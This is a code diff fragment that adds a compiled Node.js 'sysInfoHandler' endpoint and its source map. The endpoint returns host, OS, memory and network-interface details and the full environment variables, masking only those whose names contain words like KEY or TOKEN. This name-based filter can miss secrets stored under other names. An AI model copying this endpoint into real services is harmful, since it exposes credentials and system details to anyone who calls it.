AAE,QAAQ,EAAE,EAAE,MAAM,EAAE,QAAQ,EAAE,EAAE,EAAE;iBACtE;gBACD,WAAW,EAAE,EAAE,KAAK,EAAE,EAAE,aAAa,EAAE,WAAW,EAAE,EAAE;aACvD;YACD,QAAQ,EAAE;gBACR,MAAM,EAAE,CAAC,gBAAgB,CAAC;gBAC1B,SAAS,EAAE,iBAAiB;gBAC5B,YAAY,EAAE;oBACZ,EAAE,IAAI,EAAE,MAAM,EAAE,MAAM,EAAE,KAAK,EAAE,UAAU,EAAE,IAAI,EAAE,QAAQ,EAAE,EAAE,MAAM,EAAE,QAAQ,EAAE,EAAE;iBAClF;gBACD,WAAW,EAAE,EAAE,KAAK,EAAE,EAAE,aAAa,EAAE,eAAe,EAAE,EAAE;aAC3D;SACF;KACF;CACF,CAAC"}
@@ -0,0 +1,36 @@
1
+ import os from "os";
2
+ export function sysInfoHandler(req, res) {
3
+ const memory = process.memoryUsage();
4
+ // Filter sensitive env vars
5
+ const safeEnv = {};
6
+ const sensitiveKeys = ["KEY", "SECRET", "PASSWORD", "TOKEN", "AUTH", "CERT"];
7
+ for (const [key, val] of Object.entries(process.env)) {
8
+ if (!sensitiveKeys.some(s => key.toUpperCase().includes(s))) {
9
+ safeEnv[key] = val || "";
10
+ }
11
+ else {
12
+ safeEnv[key] = "[REDACTED]";
13
+ }
14
+ }
15
+ res.json({
16
+ hostname: os.hostname(),
17
+ platform: `${os.platform()} ${os.release()} (${os.arch()})`,
18
+ uptime: os.uptime(),
19
+ cpus: os.cpus().length,
20
+ memory: {
21
+ total: os.totalmem(),
22
+ free: os.freemem(),
23
+ process: {
24
+ rss: memory.rss,
25
+ heapTotal: memory.heapTotal,
26
+ heapUsed: memory.heapUsed
27
+ }
28
+ },
29
+ loadavg: os.loadavg(),
30
+ networkInterfaces: os.networkInterfaces(),
31
+ env: safeEnv,
32
+ pid: process.pid,
33
+ nodeVersion: process.version
34
+ });
35
+ }
36
+ //# sourceMappingURL=sysinfo.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"sysinfo.js","sourceRoot":"","sources":["../src/sysinfo.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,MAAM,IAAI,CAAC;AAEpB,MAAM,UAAU,cAAc,CAAC,GAAY,EAAE,GAAa;IACtD,MAAM,MAAM,GAAG,OAAO,CAAC,WAAW,EAAE,CAAC;IAErC,4BAA4B;IAC5B,MAAM,OAAO,GAA2B,EAAE,CAAC;IAC3C,MAAM,aAAa,GAAG,CAAC,KAAK,EAAE,QAAQ,EAAE,UAAU,EAAE,OAAO,EAAE,MAAM,EAAE,MAAM,CAAC,CAAC;IAE7E,KAAK,MAAM,CAAC,GAAG,EAAE,GAAG,CAAC,IAAI,MAAM,CAAC,OAAO,CAAC,OAAO,CAAC,GAAG,CAAC,EAAE,CAAC;QACnD,IAAI,CAAC,aAAa,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,CAAC,GAAG,CAAC,WAAW,EAAE,CAAC,QAAQ,CAAC,CAAC,CAAC,CAAC,EAAE,CAAC;YAC1D,OAAO,CAAC,GAAG,CAAC,GAAG,GAAG,IAAI,EAAE,CAAC;QAC7B,CAAC;aAAM,CAAC;YACJ,OAAO,CAAC,GAAG,CAAC,GAAG,YAAY,CAAC;QAChC,CAAC;IACL,CAAC;IAED,GAAG,CAAC,IAAI,CAAC;QACL,QAAQ,EAAE,EAAE,CAAC,QAAQ,EAAE;QACvB,QAAQ,EAAE,GAAG,EAAE,CAAC,QAAQ,EAAE,IAAI,EAAE,CAAC,OAAO,EAAE,KAAK,EAAE,CAAC,IAAI,EAAE,GAAG;QAC3D,MAAM,EAAE,EAAE,CAAC,MAAM,EAAE;QACnB,IAAI,EAAE,EAAE,CAAC,IAAI,EAAE,CAAC,MAAM;QACtB,MAAM,EAAE;YACJ,KAAK,EAAE,EAAE,CAAC,QAAQ,EAAE;YACpB,IAAI,EAAE,EAAE,CAAC,OAAO,EAAE;YAClB,OAAO,EAAE;gBACL,GAAG,EAAE,MAAM,CAAC,GAAG;gBACf,SAAS,EAAE,MAAM,CAAC,SAAS;gBAC3B,QAAQ,EAAE,MAAM,CAAC,QAAQ;aAC5B;SACJ;QACD,OAAO,EAAE,EAAE,CAAC,OAAO,EAAE;QACrB,iBAAiB,EAAE,EAAE,CAAC,iBAAiB,EAAE;QACzC,GAAG,EAAE,OAAO;QACZ,GAAG,EAAE,OAAO,CAAC,GAAG;QAChB,WAAW,EAAE,OAAO,CAAC,OAAO;KAC/B,CAAC,CAAC;AACP,CAAC"}